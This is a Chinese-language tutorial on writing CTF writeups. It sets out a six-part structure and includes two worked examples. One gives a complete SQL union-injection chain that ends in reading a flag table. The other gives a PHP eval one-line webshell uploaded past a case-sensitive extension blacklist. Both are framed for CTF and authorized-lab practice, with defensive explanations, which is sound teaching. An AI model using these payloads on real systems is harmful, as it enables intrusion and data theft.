03-CTF-Writeup规范:解题思路、漏洞分析、复盘总结
合规声明:本文用于指导在 CTF 平台、公开靶场及已获书面授权环境下的解题记录与经验沉淀。文中出现的所有 payload 与利用代码,请勿用于任何未授权系统。
一、为什么要写 Writeup:输出倒逼输入
先回答一个灵魂问题:题都做出来了,flag 都提交了,分数也到手了,为什么还要费劲写一篇 Writeup?
因为"会做"和"会讲"之间,隔着一道真正的理解鸿沟。
第一,写 Writeup 是强制自己把"直觉"变成"逻辑"。 很多时候你做题是"蒙对了"------凭感觉试了几个 payload,运气好就过了。这种解题方式没有沉淀,换个题就原形毕露。而写 Writeup 时,你被迫回答"为什么这一步要这么做""为什么这个 payload 能成立",一写就知道自己是真懂还是假懂。
第二,Writeup 是面试和求职的作品集。 你考了个 CISP、CISP-PTE 证书,简历上写"熟悉 Web 漏洞",HR 怎么信你?拿出你的技术博客和 Writeup 仓库,人家一看------哦,SQL 注入从联合查询到盲注、文件上传从前端绕到解析漏洞,每篇都讲得明明白白------这比任何证书都直观。在这个行业,能写清楚的人,通常是真懂的人。
第三,Writeup 是社区贡献与个人品牌。 你把解题思路分享出来,帮助后来者少走弯路,积累的技术博客会成为你的个人名片。很多白帽的知名度和工作机会,就是从一篇篇高质量的 Writeup 和漏洞分析开始的。
第四,输出倒逼输入。 为了写清楚一个问题,你往往需要补充查资料、回看源码、重新梳理攻击链------这些"被迫"的学习,比漫无目的地刷题高效十倍。
所以结论很明确:刷题不写 Writeup,等于白刷。 从今天起,把"每道有价值的题配一篇 Writeup"当成标配。
二、标准 Writeup 结构:六段式
一篇规范、专业、易读的 Writeup,我建议采用六段式结构。这个结构兼顾了"解题过程完整"与"读者体验友好":
markdown
1. 题目信息
2. 考点分析
3. 解题过程
4. 关键 payload 与讲解
5. 漏洞原理回溯
6. 复盘总结
下面逐段拆解每部分写什么、怎么写。
2.1 题目信息
让读者第一眼知道"这题是什么"。要素包括:
| 字段 | 说明 | 示例 |
|---|---|---|
| 题目名称 | 平台上的题名 | CTFHub · SQL注入-整数型 |
| 来源平台/赛事 | 来自哪个平台或哪场比赛 | CTFHub 技能树 |
| 难度 | 简单/中等/困难 | 简单 |
| 考点类型 | 一句话说明 | SQL 联合注入 |
| 解题用时 | 参考值 | 首次 40 分钟,复盘后 15 分钟 |
| Flag 片段(可选) | 脱敏展示 | ctfhub{************} |
提示:Flag 建议打码展示。如果全文公开完整 flag,会影响平台题库的公平性,也容易助长"抄答案"风气。圈内默认做法是脱敏。
2.2 考点分析
一句话点破"这题考什么",以及"考点的本质是什么"。 这一段的价值在于帮读者(也帮你自己)建立"题目 → 知识点"的映射。
示例写法:
本题考点为 SQL 联合注入。核心知识点:URL 参数
id直接拼接进 SQL 查询且未过滤,联合查询(UNION SELECT)可以在原有查询结果后追加自定义行,从而控制回显内容、读取数据库内部信息。本质是利用"用户输入进入 SQL 语句上下文"这一根因。
注意,考点分析不是复述解题步骤,而是从题目抽象到知识点。这一步做得越到位,你积累的"题型-考点"图谱就越清晰。
2.3 解题过程
这是正文主体,要求写出**"思维流"**而不是"结果堆砌"。什么是思维流?就是把你解题时脑子里真实的推理过程写出来:看到什么 → 想到什么 → 为什么这么做 → 结果如何 → 结果说明了什么 → 下一步怎么做。
关于解题过程的写法,有三条铁律:
铁律一:交代"为什么",而不是只写"做了什么"。 错误示范(结果堆砌):
输入
?id=1'报错,输入?id=-1 union select 1,2回显,输入?id=-1 union select 1,database()得到 ctfhub,......
正确示范(思维流):
首先在 URL 中发现
id参数,先做常规探测:?id=1正常回显数据,?id=2回显第二条数据,说明参数影响了查询结果。接着输入?id=1',页面报错,这让我确认单引号破坏了 SQL 语法------存在注入点。之所以先试单引号,是因为整数型注入判断的第一性原则:把引号塞进语句,如果报错,说明输入没有被过滤且参与了 SQL 拼接。
铁律二:如实记录卡壳的地方。 高手写 Writeup 也会写"这里我卡了二十分钟,最后发现是......"。卡壳记录的价值在于:它暴露了知识盲区,也是读者最需要的"避坑指南"。一篇全是"一路畅通"的 Writeup,可信度和教学价值都很低。
铁律三:每个关键步骤配证据。 报错截图、响应包、返回结果,能截就截。文字描述"报错了"远不如一张清晰的截图有说服力。
2.4 关键 payload 与讲解
Payload 是 Writeup 的灵魂,必须完整、可复制、逐段注释。建议用代码块给出完整 payload,然后在代码下方逐行/逐段解释它做了什么、为什么这么写。
示例:
sql
-- 1. 确定列数:ORDER BY 从 1 开始递增,报错的临界值减 1 就是列数
?id=1 order by 2 -- 正常 → 至少 2 列
?id=1 order by 3 -- 报错 → 列数 = 2
-- 2. 联合查询试探回显位置:把 id 置为负数让原查询无结果
?id=-1 union select 1,2 -- 页面回显 "1" 和 "2" → 两个位置都可利用
-- 3. 爆库名:database() 返回当前数据库名
?id=-1 union select 1,database()
-- 4. 爆表名:从 information_schema 元数据库中查
?id=-1 union select 1,group_concat(table_name)
from information_schema.tables
where table_schema=database()
-- 5. 爆字段名
?id=-1 union select 1,group_concat(column_name)
from information_schema.columns
where table_name='flag'
-- 6. 读数据,拿到 flag
?id=-1 union select 1,flag from flag
逐条解释的写法,每一条都要回答三个问题:这步干什么的?为什么能成立?结果说明什么?
2.5 漏洞原理回溯
这一节是全篇的"升维"部分:从一道题回到一类漏洞的本质。
写法建议:先讲清楚漏洞的根因 ,再讲触发条件 ,再讲利用原理 ,最后关联防御视角。
以 SQL 注入为例:
根因: 程序把用户输入的内容当作 SQL 代码的一部分拼接进查询语句,导致输入可以改变语句的执行逻辑。本质是"数据"与"代码"未分离。 触发条件: 参数参与 SQL 拼接 + 无过滤/无预编译。 利用原理: UNION SELECT 利用"联合查询"特性,把注入的 SELECT 结果与原始查询结果合并回显;information_schema 元数据库存放着所有库/表/字段名,是读取数据库结构的"字典"。 防御视角: 服务端应使用参数化查询(PDO prepare)或对输入做严格过滤;从这个角度看,本题能成立,恰恰是因为开发者把用户输入直接拼进了 SQL。
写出这一节,你的 Writeup 就从一个"解题记录"升级为"漏洞研究笔记",价值完全不同。
2.6 复盘总结
复盘总结写三样东西:
arduino
1. 卡在哪里?------具体到步骤和原因(如"我没想到要先去 information_schema 里翻表")
2. 查了什么?------为解这题补充学习了哪些资料(链接/关键词)
3. 沉淀什么?------从这题提炼出的一类题型的通用方法论(如"SQL 注入五步法:探测-列数-回显-爆库-爆表")
其中第3点是重点。每一篇 Writeup 的沉淀,都要收敛成"下次遇到同类题,我能更快"的具体方法。 积累多了,你就有了一本"可检索的解题方法论手册"。
三、一篇完整 Writeup 示例(全程演示)
下面我按六段式结构,完整演示一篇 Writeup。题目虚构但流程真实,思路适用于大量"弱口令 + 后台 + 上传"型题目。
题目信息
- 题目名称:CTFHub · 综合题-后台管理(脱敏示例)
- 来源平台:CTFHub 技能树·Web 综合模块
- 难度:中等
- 考点:弱口令爆破、后台功能利用、文件上传绕过
- 解题用时:首次 1 小时,复盘后 30 分钟
- Flag:
ctfhub{********}(脱敏)
考点分析
本题是一个"多步串联"的综合题,核心考点有三层:
- 弱口令: 后台登录口存在弱口令,属于"认证缺陷",本质是密码强度策略缺失;
- 后台功能滥用: 登录后获得一个文件上传点,后台功能的攻击面通常被开发者忽略;
- 上传绕过: 上传点存在黑名单过滤不严,可通过后缀大小写绕过。
这题的设计符合真实攻防逻辑:先拿一个入口(弱口令),再寻找可利用的功能点(上传),最后完成命令执行(拿 flag)。 单看每一步都不难,难的是串联的"攻击链思维"。
解题过程
Step 1 信息收集。 打开题目环境,是一个普通的企业官网,首页没有明显功能点。我先看 robots.txt,发现一行:Disallow: /admin/------后台路径直接泄露了 。访问 /admin/,是一个管理员登录框。
Step 2 尝试弱口令。 登录框只有账号密码两个字段,没有验证码------这是弱口令爆破的经典场景。我手工试了 admin/admin、admin/123456、admin/admin888,第三次直接登录成功。这里值得反思:我一开始想上 Burp Intruder 跑字典,但手动先试常用口令成本更低,先手动后爆破的顺序更高效。
Step 3 寻找功能点。 进入后台,有一个"文章图片上传"功能。上传一张正常图片成功,说明上传点在正常工作。
Step 4 尝试上传 WebShell。 我构造一个一句话木马文件 shell.php(内容 <?php @eval($_POST['cmd']); ?>),上传时报错"文件类型不允许"。说明存在后缀黑名单校验。
Step 5 绕过黑名单。 黑名单校验最常见的缺陷是"大小写不敏感绕过失败"。我把后缀改成 .phP:
shell.phP
上传成功!页面返回了文件访问路径 /uploads/2026/shell.phP。
这里解释一下为什么可行:黑名单通常是
$deny = ['php','php3','phtml',...]然后用in_array(strtolower($ext), $deny)判断,如果开发者忘了strtolower(),只判断原样后缀,那么.phP就绕过了黑名单。同时 Linux + Apache 默认配置下,shell.phP仍会被当作 PHP 解析。
Step 6 连接 WebShell 拿 flag。 用中国蚁剑连接 /uploads/2026/shell.phP(密码 cmd),连接成功后浏览目录,在 /var/www/html/flag.php 找到 flag,提交过关。
关键 payload 与讲解
本题涉及两个关键 payload:
1. 一句话木马:
php
<?php @eval($_POST['cmd']); ?>
| 部分 | 作用 |
|---|---|
<?php ... ?> |
PHP 代码标签,服务器解析这段代码 |
@ |
错误抑制符,隐藏执行报错,避免暴露异常 |
eval() |
把字符串当作 PHP 代码执行 |
$_POST['cmd'] |
从 POST 请求中读取名为 cmd 的参数值 |
整句话木马的含义:把客户端 POST 过来的 cmd 参数值当作 PHP 代码执行。 这是"动态生成代码"的危险范式------攻击者只需控制 cmd,就能在服务器上执行任意 PHP 代码。
2. 绕过上传的最终文件:
shell.phP ← 修改后缀大小写,绕过黑名单后缀校验
连接步骤(蚁剑):
- 新建连接,URL 填
http://<目标>/uploads/2026/shell.phP,密码填cmd,连接类型选PHP; - 测试连接成功 → 进入文件管理 → 定位 flag 文件 → 读取。
漏洞原理回溯
关于弱口令: 认证系统的安全性取决于口令强度与防爆破机制。admin/admin888 这种组合属于字典第一页的口令,再加上登录接口无验证码、无频率限制、无锁定策略,等于把大门钥匙放在门口脚垫下。防御端应强制强密码策略、加入验证码与失败锁定,并对管理后台启用二次认证。
关于上传绕过: 文件上传漏洞的根因是"服务端信任了客户端提交的文件元信息(文件名、MIME 类型、内容)"。本题的黑名单思路本身就不稳妥------黑名单永远列不全。正确姿势是白名单:只允许特定后缀(如 jpg、png)+ 重命名文件 + 校验文件头(magic bytes)+ 存储目录禁止执行脚本。
关联本质: 攻击链的每一环都不是"孤立的 bug",而是"防护缺失的拼接"。弱口令给了一个立足点,黑名单绕过给了执行点------这是真实渗透中"低危拼高危"的典型思维。
复盘总结
- 卡在哪里: 第一次被黑名单拦下后,我一度尝试
.htaccess绕过但失败,绕了一圈才想到大小写。复盘发现,我漏了"先判断过滤机制是黑名单还是白名单"这一步------如果是白名单,.htaccess思路完全不适用。 - 查了什么: 补充学习了 Apache 后缀解析规则(大小写、多后缀、畸形后缀)与上传黑名单绕过方式汇总。
- 沉淀: 后台类综合题通用攻击链:找入口(弱口令/未授权)→ 翻功能点(上传/执行/配置)→ 找高危点 → 串联利用。 上传题先判断"黑名单 or 白名单",再针对性选择绕过方式。
四、解题过程写法进阶:把"思维流"写到位
新手写解题过程最常见的毛病,是把 Writeup 写成"操作流水账"。怎么升级成"思维流"?记住一个方法:为每一个操作回答"为什么"。
写之前自问三连:
- 我为什么注意到这个点?("因为登录框没有验证码,这降低了爆破成本,值得一试")
- 我为什么用这个方法而不是别的?("先手动试常用口令,因为爆破工具初始化也有成本")
- 这个结果让我联想到什么?("上传被拦截,说明存在后缀校验,需要判断黑名单/白名单")
再配合"如果 A 方法失败,我就换 B 方法"的备选思路,你的思维流就完整了。读者(和未来的面试官)想看的是你的决策过程,不是操作过程。
另外推荐一个技巧:写"假设-验证"结构。 每段先写你的假设,再写验证结果,最后写结论。这种结构阅读体验极佳,也逼着你思考每一步的逻辑闭环。
五、发布渠道与社区交流
写完 Writeup,发到哪里?多渠道布局效果最好:
| 渠道 | 特点 | 建议 |
|---|---|---|
| CSDN | 中文最大技术社区,SEO 好,被搜概率高 | 主力阵地,注意排版和配图 |
| FreeBuf / 先知社区 | 安全垂直社区,读者精准 | 质量高的文章投这里,涨圈内名声 |
| 博客园 / 掘金 | 泛技术社区 | 常规发布 |
| GitHub 仓库 | 建一个 writeup 仓库长期维护 | 面试直接甩链接,最硬核 |
| 公众号 / 知识星球 | 私域沉淀 | 后期运营可选 |
发布时的规范:
- 标题规范,带题名和考点关键词,利于搜索(如"CTFHub 技能树刷题笔记(一):SQL 注入合集");
- 代码块、截图、表格排版清晰,移动端也能读;
- 文首加合规声明,Flag 脱敏,涉及真实厂商信息一律打码;
- 持续更新,不要发一两篇就断更------作品集的威力在于"量 + 质量"的积累。
社区交流的心态: 写完发到群里、评论区,虚心接受指正。很多人指出你思路的问题,其实是在帮你完善。你的 Writeup 被别人转发、引用、收藏,就是对你专业度最好的认可。
六、Writeup 积累成知识库:从"记录"到"体系"
写了十篇、五十篇 Writeup 之后,再往上走一步:把零散的 Writeup 升级成可检索的知识库。
6.1 知识库的组织方式
按题型/知识点分类建目录,例如:
objectivec
CTF-Web-笔记/
├── SQL注入/
│ ├── 01-联合注入-整数型.md
│ ├── 02-字符型注入与闭合.md
│ └── 03-布尔盲注脚本化.md
├── 文件上传/
│ ├── 01-前端校验绕过.md
│ └── 02-黑名单绕过.md
├── 反序列化/
├── 模板/ ← 存放你的 Writeup 模板
└── 方法论.md ← 沉淀的各类题型套路
6.2 定期"再沉淀":从题到套路
每隔一段时间(比如每周),把你这段时间的 Writeup 扫一遍,把每篇"复盘总结"里的"沉淀"项抽出来,合并到"方法论"文档里。这就是把"题"抽象成"套路"的过程。
示例(SQL 注入方法论沉淀):
markdown
【SQL 注入定位三步】
1. 有无参数/输入点(URL、POST、Header、Cookie)
2. 单引号/双引号/无引号探测 → 判断类型
3. 确认回显方式(页面回显/报错/布尔/时间)
【万能利用链】
探测闭合 → ORDER BY 列数 → 找回显位 → 爆库 → 爆表 → 爆字段 → 拿数据
6.3 知识库的"面试价值"
面试官问你"讲讲你印象最深的一个漏洞",你打开自己的知识库,指着一篇写得完整的 Writeup 从头讲到尾,顺便展示你在方法论文档里的体系化思考------这个画面,就是"专业度"本身。
七、本篇小结
- Writeup 的价值:输出倒逼输入、面试作品集、社区贡献、知识沉淀------四合一。
- 六段式结构:题目信息 → 考点分析 → 解题过程 → 关键 payload → 漏洞原理回溯 → 复盘总结。
- 解题过程写"思维流":每个操作回答"为什么",写"假设-验证",如实记录卡壳。
- Payload 逐段注释:完整可复制 + 每行解释"干什么、为什么、说明什么"。
- 复盘三问:卡在哪 / 查了什么 / 沉淀了什么套路。
- 积累成库:按题型建目录,定期把"沉淀"升级为"方法论",形成可检索的知识体系。
写完 Writeup、有了体系化的知识库,你手里的"题"就开始变成"能力"。下一篇,我们走出 CTF 的练习场,进入真实战场的第一站------SRC 漏洞挖掘体系,聊聊补天、漏洞盒子与厂商 SRC 的完整挖洞流程。
合规提示:Writeup 中涉及的漏洞技术,请仅在 CTF 平台、公开靶场或已获书面授权范围内实践;公开文章注意脱敏与合规声明。